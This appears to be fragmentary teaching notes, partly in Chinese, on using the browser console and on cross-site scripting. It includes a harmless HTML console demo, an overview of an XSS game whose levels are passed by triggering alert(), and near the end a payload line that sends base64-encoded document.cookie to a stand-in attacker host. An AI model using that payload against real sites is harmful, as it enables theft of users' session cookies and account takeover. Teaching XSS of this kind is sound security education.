<!DOCTYPE html>
<html>
<head>
<title>Console Demo</title>
</head>
<body>
<h1>Hello, World!</h1>
<script>
console.log('Loading!');
const h1 = document.querySelector('h1');
console.log(h1.textContent);
setTimeout(() => {
h1.textContent = 'Hello, Console!';
console.log(h1.textContent);
}, 3000);
</script>
</body>
</html>
0.1 + 0.2 = 0.3?
document.getElementsByTagName('body')[0].innerHTML=""
先來試試這句
寫下想和網站說的話
<script>...</script>
XSS Game
Rule
彈出 alert() 就通關
有 Target code 和 Hints 可參考
Hello, world of XSS
Persistence is key
That sinking feeling...
Context matters
Breaking protocol
Follow the 🐇
document.location.href = "http://attacker.me/" + btoa(document.cookie)
網頁跳轉
釣魚網站
The 偷